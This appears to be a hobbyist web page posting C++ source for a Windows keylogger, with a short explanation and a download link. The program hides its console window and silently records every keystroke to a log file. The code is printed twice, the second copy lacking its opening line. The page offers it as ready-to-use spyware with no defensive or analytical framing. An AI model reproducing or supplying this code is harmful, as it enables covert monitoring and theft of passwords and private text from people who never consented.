KEYLOGGER
#include<iostream>
using namespace std;
#include<windows.h>
#include<winuser.h>
int save (int key_stroke, char *file);
void stealth();
int main()
{
stealth();
char i;
while(1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
save (i,"LOG.TXT");
}
}
system("PAUSE");
return 0;
}
/* *********************************************** */
/* *********************************************** */
int save (int key_stroke, char *file)
{
if ((key_stroke==1)||(key_stroke==2))
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout<<key_stroke<<"\n";
if (key_stroke==8)
fprintf(OUTPUT_FILE, "%s" , "(backspace)");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s" , "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s" , " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s" , "(tab)");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s" , "(shift)");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s" , "(control)");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s" , "(escape)");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s" , "(end)");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s" , "(home)");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s" , "(left)");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s" , "(up)");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s" , "(right)");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s" , "(down)");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s" , ".");
else
fprintf(OUTPUT_FILE, "%s" , &key_stroke);
fclose(OUTPUT_FILE);
return 0;
}
/* *********************************************** */
/* *********************************************** */
void stealth()
{
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(stealth,0);
}
using namespace std;
#include<windows.h>
#include<winuser.h>
int save (int key_stroke, char *file);
void stealth();
int main()
{
stealth();
char i;
while(1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
save (i,"LOG.TXT");
}
}
system("PAUSE");
return 0;
}
/* *********************************************** */
/* *********************************************** */
int save (int key_stroke, char *file)
{
if ((key_stroke==1)||(key_stroke==2))
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout<<key_stroke<<"\n";
if (key_stroke==8)
fprintf(OUTPUT_FILE, "%s" , "(backspace)");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s" , "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s" , " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s" , "(tab)");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s" , "(shift)");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s" , "(control)");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s" , "(escape)");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s" , "(end)");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s" , "(home)");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s" , "(left)");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s" , "(up)");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s" , "(right)");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s" , "(down)");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s" , ".");
else
fprintf(OUTPUT_FILE, "%s" , &key_stroke);
fclose(OUTPUT_FILE);
return 0;
}
/* *********************************************** */
/* *********************************************** */
void stealth()
{
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(stealth,0);
}
If you have a basic knowledge you can under stand this code. this program will run background and save a text file near the exe file and it stores what ever we type in that text file....if you want to close the program goto task manager.... if you have any doubts contact me on facebook or comment on the page. i will sent you the answer through email
If you want the source code click download..
basickeylogger.cpp | |
File Size: | 2 kb |
File Type: | cpp |